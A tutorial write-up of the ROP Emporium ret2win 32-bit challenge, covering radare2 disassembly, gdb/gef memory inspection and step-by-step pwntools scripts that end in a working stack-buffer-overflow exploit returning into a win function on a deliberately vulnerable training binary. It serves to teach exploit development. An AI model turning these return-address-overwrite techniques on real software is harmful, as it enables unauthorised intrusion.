ROP Emporium challenges with Radare2 and pwntools.

Today we're going to be cracking the first ropmeporium challenge. These challenges are a learning tool for Return Oriented Programming, a modern exploit technique for buffer overflows that helps bypass security mechanisms such as DEP. They take the form of crackmes that get incrementally harder, forcing the learner to apply different techniques to overcome the challenge. The objective is to exploit the binary and get it to read the flag.txt that is in the same directory.

We're going to start with the first and simplest crackme, aptly called ret2win, and focus on the 32-bit version to begin with. We'll use radare2 for the reverse engineering aspects and pwntools for slick exploit development, so this will also provide a bit of a primer for those tools. Make sure you have these installed if you want to follow along.

Binary Analysis

To start off, lets have a look at the file:

$ file ret2win32 ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped

We see that it's a 32-bit ELF, and has not been stripped, so let's fire up radare2 have a look at what's going on.

$ r2 -AAA ret2win32 [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Emulate code to find computed references (aae) [x] Analyze consecutive function (aat) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Type matching analysis for all functions (afta) [0x08048480]>

The -AAA argument instructs radare to perform all analysis of the binary straight away, and we're then presented with a memory address at a prompt.

The memory address in the prompt is the location in the binary we are currently at. This is a virtual memory address, the same used by the binary when running, assuming ASLR isn't present. By default the starting address is the address of the entry0 function, where program execution starts.

We can list all the functions in the binary with afl :

[0x08048480]> afl 0x080483c0 3 35 sym._init 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset 0x08048470 1 6 sub.__gmon_start_470 0x08048480 1 33 entry0 0x080484b0 1 4 sym.__x86.get_pc_thunk.bx 0x080484c0 4 43 sym.deregister_tm_clones 0x080484f0 4 53 sym.register_tm_clones 0x08048530 3 30 sym.__do_global_dtors_aux 0x08048550 4 43 -> 40 entry1.init 0x0804857b 1 123 sym.main 0x080485f6 1 99 sym.pwnme 0x08048659 1 41 sym.ret2win 0x08048690 4 93 sym.__libc_csu_init 0x080486f0 1 2 sym.__libc_csu_fini 0x080486f4 1 20 sym._fini

Here we can note several interesting functions: main, pwnme and ret2win.

As program execution properly starts in the main method, let's take a look at that first to orient ourselves.

We can do this with the pdf (print disassembled function) command. By default, these commands in radare run at the current location. We can therefore seek to the main method and run pdf.

[0x08048480]> s sym.main [0x0804857b]> pdf ;-- main: / (fcn) sym.main 123 | sym.main (); | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x08048497 (entry0) | 0x0804857b 8d4c2404 lea ecx, dword [local_4h] ; 4 | 0x0804857f 83e4f0 and esp, 0xfffffff0 | 0x08048582 ff71fc push dword [ecx - 4] | 0x08048585 55 push ebp | 0x08048586 89e5 mov ebp, esp | 0x08048588 51 push ecx | 0x08048589 83ec04 sub esp, 4 | 0x0804858c a164a00408 mov eax, dword [obj.stdout] ; [0x804a064:4]=0 | 0x08048591 6a00 push 0 | 0x08048593 6a02 push 2 ; 2 | 0x08048595 6a00 push 0 ; size_t size | 0x08048597 50 push eax ; int mode | 0x08048598 e8b3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x0804859d 83c410 add esp, 0x10 | 0x080485a0 a140a00408 mov eax, dword [sym.stderr] ; obj.stderr ; [0x804a040:4]=0 | 0x080485a5 6a00 push 0 | 0x080485a7 6a02 push 2 ; 2 | 0x080485a9 6a00 push 0 ; size_t size | 0x080485ab 50 push eax ; int mode | 0x080485ac e89ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x080485b1 83c410 add esp, 0x10 | 0x080485b4 83ec0c sub esp, 0xc | 0x080485b7 6810870408 push str.ret2win_by_ROP_Emporium ; 0x8048710 ; "ret2win by ROP Emporium" ; const char * s | 0x080485bc e85ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485c1 83c410 add esp, 0x10 | 0x080485c4 83ec0c sub esp, 0xc | 0x080485c7 6828870408 push str.32bits ; 0x8048728 ; "32bits

" ; const char * s | 0x080485cc e84ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485d1 83c410 add esp, 0x10 | 0x080485d4 e81d000000 call sym.pwnme | 0x080485d9 83ec0c sub esp, 0xc | 0x080485dc 6830870408 push str.Exiting ; 0x8048730 ; "

Exiting" ; const char * s | 0x080485e1 e83afeffff call sym.imp.puts ; int puts(const char *s) | 0x080485e6 83c410 add esp, 0x10 | 0x080485e9 b800000000 mov eax, 0 | 0x080485ee 8b4dfc mov ecx, dword [local_4h_2] | 0x080485f1 c9 leave | 0x080485f2 8d61fc lea esp, dword [ecx - 4] \ 0x080485f5 c3 ret [0x0804857b]>

Notice how the memory address in the prompt changes as we seek to the main function. Now running pdf prints the disassembled main function.

We notice that a bunch of stuff is printed using puts and then pwnme is called, so let's take a look at that function.

Instead of seeking to where we want to disassemble, we can also just point the pdf command at our function. This functionality is common across a lot of commands, we can point them at functions, flags or memory in the same way.

[0x0804857b]> pdf @ sym.pwnme / (fcn) sym.pwnme 99 | sym.pwnme (); | ; var int local_28h @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 8d45d8 lea eax, dword [local_28h] | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 683c870408 push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;

What could possibly go wrong?" ; const char * s | 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 68bc870408 push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

" ; const char * s | 0x08048627 e8f4fdffff call sym.imp.puts ; int puts(const char *s) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f 83ec0c sub esp, 0xc | 0x08048632 6821880408 push 0x8048821 ; const char * format | 0x08048637 e8c4fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804863c 83c410 add esp, 0x10 | 0x0804863f a160a00408 mov eax, dword [obj.stdin] ; [0x804a060:4]=0 | 0x08048644 83ec04 sub esp, 4 | 0x08048647 50 push eax | 0x08048648 6a32 push 0x32 ; '2' ; 50 | 0x0804864a 8d45d8 lea eax, dword [local_28h] | 0x0804864d 50 push eax ; char *s | 0x0804864e e8bdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | 0x08048653 83c410 add esp, 0x10 | 0x08048656 90 nop | 0x08048657 c9 leave \ 0x08048658 c3 ret

We can see memset at the top being called. Radare helpfully prints the function signature for memset in a comment (after the ;), and we can see it takes a pointer, an int and a size in that order.

As this is 32-bit, we can look at the assembly and see that the value 0x20 is pushed to the stack, followed by 0 and a pointer to the variable local_28h immediately before memset is called. As whatever is pushed to the stack last is at the top and is popped first, the arguments to the function are getting pushed on in reverse order so that the first argument is at the top. Appropriately allocating these arguments to the memset function means that memset is zeroing out 0x20 bytes of memory for the variable local_28h.

We can also see further down that fgets is being called with 0x32 bytes being written to local_28h from stdin. Radare helpfully tells us in the comments that these are 50 and 32 in decimal, and the string that gets put'd to the screen seems to agree. If we're feeling lazy, we can use radare to do some maths for us here:

[0x0804857b]> ? 0x32 - 0x20 18 0x12 022 18 0000:0012 18 "\x12" 0b00010010 18.0 18.000000f 18.000000 0t200

So as 50 bytes of memory are being written into a 32 byte buffer we think we have found the buffer overflow vulnerability location and that we'll have 18 bytes of space in which to fit our exploit!

Next, let's take a look at the last interesting function, ret2win, which is the name of the challenge.

[0x0804857b]> pdf @ sym.ret2win / (fcn) sym.ret2win 41 | sym.ret2win (); | 0x08048659 55 push ebp | 0x0804865a 89e5 mov ebp, esp | 0x0804865c 83ec08 sub esp, 8 | 0x0804865f 83ec0c sub esp, 0xc | 0x08048662 6824880408 push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:" ; const char * format | 0x08048667 e894fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804866c 83c410 add esp, 0x10 | 0x0804866f 83ec0c sub esp, 0xc | 0x08048672 6841880408 push str.bin_cat_flag.txt ; 0x8048841 ; "/bin/cat flag.txt" ; const char * string | 0x08048677 e8b4fdffff call sym.imp.system ; int system(const char *string) | 0x0804867c 83c410 add esp, 0x10 | 0x0804867f 90 nop | 0x08048680 c9 leave \ 0x08048681 c3 ret

This function seems to do everything we could ask of it, calling system with /bin/cat flag.txt. It also takes no arguments, so it looks like we'd just need to return to it to win! Let's make a note of the address of ret2win, 0x08048659, and move on to exploitation.

Exploitation

We're going to exploit the binary using pwntools, which is an excellent library for python that abstracts away a lot of the headaches and repetition that can come with exploit development.

To start with, let's try running the binary:

$ ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > test Exiting

We can see that it prints the strings we saw earlier and we appear to be correct about the buffer sizes. We enter 'test' and the program just exits, as expected.

Let's create a skeleton script to execute and debug our exploit:

#!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") pwn.gdb.attach(t) t.interactive()

This script will start the ret2win32 process organically and return a tube (sort of like a handle to the process), attach the gdb debugger to it and then provide us with an interactive session using gdb. If we find that gdb is attaching to the started process too late and our program execution has already passed our breakpoints then we can instead start the process from gdb directly using t = pwn.gdb.debug("./ret2win32") , but until then we'll start it organically to avoid any potential issues.

Running our python script results in:

$ python pwn_ret2win.py [+] Starting local process './ret2win32': pid 56036 [*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 56036 -x "/tmp/pwnE_DG49.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > $

A gdb session is also created in a separate terminal. This looks to be working as intended to let's continue:

#!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'b *0x08048653', 'c' ] pwn.gdb.attach(t, gdbscript = '

'.join(gdb_cmd)) t.recvuntil('

>') t.sendline("test") t.interactive()

This script has a bit more to it. We've created an array of gdb_cmds which we are joining with newline characters (so that they are "entered") which we are passing to gdb via the gdbscript parameter. Presently this array just consists of a breakpoint at the address 0x08048653 and the 'c', or continue, command which continues execution once gdb initially attaches to the process. The 0x08048653 address was taken from radare and is the address of the instruction after fgets is called in the pwnme function, so we can examine memory after the program takes our input.

We then continue receiving input until a newline and a ">" prompt is received using t.recvuntil('

>') as this is what is displayed in the console when the binary is waiting for our input.

We then send the string 'test' followed by a newline character using the sendline command. Executing this script results in a gdb session at the breakpoint, as expected. Examining the memory we see our "test" string in the return value of the function (eax) and on the stack:

[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f31059 → Name: __kernel_vsyscall() [#1] 0xf7e147d7 → Name: read() [#2] 0xf7da1798 → Name: _IO_file_underflow() [#3] 0xf7da28ab → Name: _IO_default_uflow() [#4] 0xf7d95871 → Name: _IO_getline_info() [#5] 0xf7d959be → Name: _IO_getline() [#6] 0xf7d947a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f31059 in __kernel_vsyscall () Breakpoint 1 at 0x8048653 [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffefeb60 → "test" $ebx : 0x00000000 $ecx : 0xf7f0589c → 0x00000000 $edx : 0xffefeb60 → "test" $esp : 0xffefeb50 → 0xffefeb60 → "test" $ebp : 0xffefeb88 → 0xffefeb98 → 0x00000000 $esi : 0xf7f04000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x08048653 → add esp, 0x10 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $ds: 0x002b $fs: 0x0000 $ss: 0x002b $gs: 0x0063 $cs: 0x0023 $es: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffefeb50│+0x00: 0xffefeb60 → "test" ← $esp 0xffefeb54│+0x04: 0x00000032 ("2"?) 0xffefeb58│+0x08: 0xf7f045c0 → 0xfbad2088 0xffefeb5c│+0x0c: 0xfbad2887 0xffefeb60│+0x10: "test" ← $eax, $edx 0xffefeb64│+0x14: 0x0000000a 0xffefeb68│+0x18: 0x00000000 0xffefeb6c│+0x1c: 0x00000000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x804864a lea eax, [ebp-0x28] 0x804864d push eax 0x804864e call 0x8048410 → 0x8048653 add esp, 0x10 0x8048656 nop 0x8048657 leave 0x8048658 ret 0x8048659 push ebp 0x804865a mov ebp, esp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048653 → Name: pwnme() [#1] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x08048653 in pwnme () gef➤

Note I'm using gdb with gef which is a great extension and provides the context we see above.

Everything seems to be working as expected, so now let's actually try overflowing this thing.

#!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'b *0x08048653', 'c' ] pwn.gdb.attach(t, gdbscript = '

'.join(gdb_cmd)) buf = pwn.cyclic(60, n = 4) t.recvuntil('

>') t.sendline(buf) t.interactive()

Here we've created a cyclic pattern 60 characters in length, with every sequence of four characters being unique using pwn.cyclic(60, n = 4) . We've assigned that to the variable buf and sent that as our input. We've chosen four characters as a 32-bit memory address is four bytes in length, so if our overflow overwrites something in memory we can determine at exactly what offset into our input that occurs.

Running this and examining memory at our breakpoint:

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f9f059 → Name: __kernel_vsyscall() [#1] 0xf7e827d7 → Name: read() [#2] 0xf7e0f798 → Name: _IO_file_underflow() [#3] 0xf7e108ab → Name: _IO_default_uflow() [#4] 0xf7e03871 → Name: _IO_getline_info() [#5] 0xf7e039be → Name: _IO_getline() [#6] 0xf7e027a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f9f059 in __kernel_vsyscall () Breakpoint 1 at 0x8048653 [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x00000000 $ecx : 0xf7f7389c → 0x00000000 $edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xff84f0d0 → 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebp : 0xff84f108 → "kaaalaaam" $esi : 0xf7f72000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x08048653 → <pwnme+93> add esp, 0x10 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff84f0d0│+0x00: 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $esp 0xff84f0d4│+0x04: 0x00000032 ("2"?) 0xff84f0d8│+0x08: 0xf7f725c0 → 0xfbad2088 0xff84f0dc│+0x0c: 0xfbad2887 0xff84f0e0│+0x10: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $eax, $edx 0xff84f0e4│+0x14: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" 0xff84f0e8│+0x18: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" 0xff84f0ec│+0x1c: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x804864a <pwnme+84> lea eax, [ebp-0x28] 0x804864d <pwnme+87> push eax 0x804864e <pwnme+88> call 0x8048410 <[email protected]> → 0x8048653 <pwnme+93> add esp, 0x10 0x8048656 <pwnme+96> nop 0x8048657 <pwnme+97> leave 0x8048658 <pwnme+98> ret 0x8048659 <ret2win+0> push ebp 0x804865a <ret2win+1> mov ebp, esp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048653 → Name: pwnme() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x08048653 in pwnme () gef➤

We can see our cyclic string in memory. We can examine memory directly using the e x amine command in gdb. This command can also take a format, so we specify a string with /s . Checkout this cheetsheet for more information on gdb commands.

Once we have the string, we can execute shell commands using !<command> to check its length. As expected from our binary analysis, it's 50 characters in length:

gef➤ x/s 0xff84f0e0 0xff84f0e0: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" gef➤ !echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" | wc -c 50 gef➤

Continuing execution with the c command results in a crash!

gef➤ c Continuing. Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x00000000 $ecx : 0xf7f7389c → 0x00000000 $edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xff84f110 → 0xf7fa006d → 0x00000000 $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f72000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x6161616c ("laaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff84f110│+0x00: 0xf7fa006d → 0x00000000 ← $esp 0xff84f114│+0x04: 0xff84f130 → 0x00000001 0xff84f118│+0x08: 0x00000000 0xff84f11c│+0x0c: 0xf7db5e81 → add esp, 0x10 0xff84f120│+0x10: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f124│+0x14: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f128│+0x18: 0x00000000 0xff84f12c│+0x1c: 0xf7db5e81 → add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x6161616c in ?? () gef➤

The process crashed with a segfault, the EIP register was overwritten with 0x6161616c which is the "laaa" portion of our input string. Note that due to the little-endian nature of Intel systems, the memory address 0x6161616c is actually stored in memory as 0x6c 0x61 0x61 0x61. When reading addresses from memory, the least significant bit, or the bit with which represents the smallest value is read first. In hex numbers this bit is displayed on the right, which is why the order is reversed.

As 0x61 is the byte value of ASCII 'a' and 0x6c is the byte value of ASCII 'c', this explains why 0x6161616c is shown as laaa and not aaal.

We can view this in gdb by examining the memory in different chunks:

gef➤ x/4xb 0xff84f10c 0xff84f10c: 0x6c 0x61 0x61 0x61 gef➤ x/xw 0xff84f10c 0xff84f10c: 0x6161616c

We can see that when examined as four hex bytes ( x/4xb ) the bytes are displayed as 0x6c 0x61 0x61 0x61 (laaa), as that is the order they occur in memory. However when examined as a single hexadecimal word (four byte group, x/xw ), gdb intelligently handles the endianess for us and displays them it as 0x6161616c.

This value is overwriting EIP register or the extended instruction pointer. A CPU register is essentially a variable used by the CPU when executing a program, some have dedicated roles and some are general purpose. This CPU register is a vital one as it's a pointer that points to the next instruction to be executed. Overwriting this register then means that we can control the flow of the program as we can change the value to point to a location of our choosing.

Let's alter our script to confirm that we have exact control of EIP:

#!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'c' ] pwn.gdb.attach(t, gdbscript = '

'.join(gdb_cmd)) offset = pwn.cyclic_find("laaa", n = 4) buf = "A" * offset buf += "B" * 4 buf += "C" * 16 t.recvuntil('

>') t.sendline(buf) t.interactive()

We've dropped our breakpoint as we no longer need it and used the pwntools cyclic_find function to determine the offset into our buffer that overwrites EIP. We've then created a buffer that consists of a number of "A"s equals to our offset, then four "B"s that should overwrite the four-byte EIP address exactly, then 16 "C"s that should come afterwards.

Running the script results in the expected crash when EIP can't execute the instruction at 0x42424242 (0x42 is the byte value of ASCII "B").

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f2f059 → Name: __kernel_vsyscall() [#1] 0xf7e127d7 → Name: read() [#2] 0xf7d9f798 → Name: _IO_file_underflow() [#3] 0xf7da08ab → Name: _IO_default_uflow() [#4] 0xf7d93871 → Name: _IO_getline_info() [#5] 0xf7d939be → Name: _IO_getline() [#6] 0xf7d927a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f2f059 in __kernel_vsyscall () Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $ebx : 0x00000000 $ecx : 0xf7f0389c → 0x00000000 $edx : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $esp : 0xff9db540 → 0xf7f30043 → 0x0252d800 $ebp : 0x41414141 ("AAAA"?) $esi : 0xf7f02000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x42424242 ("BBBB"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $es: 0x002b $ds: 0x002b $gs: 0x0063 $ss: 0x002b $fs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff9db540│+0x00: 0xf7f30043 → 0x0252d800 ← $esp 0xff9db544│+0x04: 0xff9db560 → 0x00000001 0xff9db548│+0x08: 0x00000000 0xff9db54c│+0x0c: 0xf7d45e81 → add esp, 0x10 0xff9db550│+0x10: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db554│+0x14: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db558│+0x18: 0x00000000 0xff9db55c│+0x1c: 0xf7d45e81 → add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x42424242 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x42424242 in ?? () gef➤

Excellent! Now we just have to figure out where to send the program. The ret2win function from our binary analysis seems like the perfect candidate. If we recall, the memory address of this function was 0x08048659.

Let's update our script so that we send execution to this address instead:

#!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'c' ] pwn.gdb.attach(t, gdbscript = '

'.join(gdb_cmd)) pointer_ret2win = 0x08048659 offset = pwn.cyclic_find("laaa", n = 4) buf = "A" * offset buf += pwn.p32(pointer_ret2win) buf += "C" * 16 t.recvuntil('

>') t.sendline(buf) t.interactive()

We've replaced our four B's with a pointer to ret2win. However as we know we have to make sure we write our bytes in the correct order so that the endianness is taken into account. pwntools has a handy function for doing this for us, pwn.p32() takes a number and packs it as a 32-bit value handling the endianess for us.

Executing this results in the ret2win function being called and our flag being printed as /bin/cat flag.txt is invoked via the call to system:

$ python pwn_ret2win.py [+] Starting local process './ret2win32': pid 121859 [*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 121859 -x "/tmp/pwnIZOZ88.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $

If we want we can debug the program to see exactly what happens. We notice that after fgets is called part of the stack is overwritten by our buffer. When the pwnme function finishes it performs a ret instruction and the program execution path returns to the return address that is stored on the stack, the location of which has been overwritten by us and now points to ret2win. We have written an exploit that causes the program to return to a location of our choosing, hence return oriented programming.

Summary

We've had a pretty granular look at the first ropemporium challenge, ret2win. We've used radare2 to perform some binary analysis and pwntools to script our exploit development, creating an exploit that uses a buffer overflow to overwrite the return address of the current function on the stack with a function of our choosing.

Next time we'll have a look at the second challenge, split. We'll leave out a lot of the boilerplate that's been covered this time, and start to look at some more advanced uses for our tools.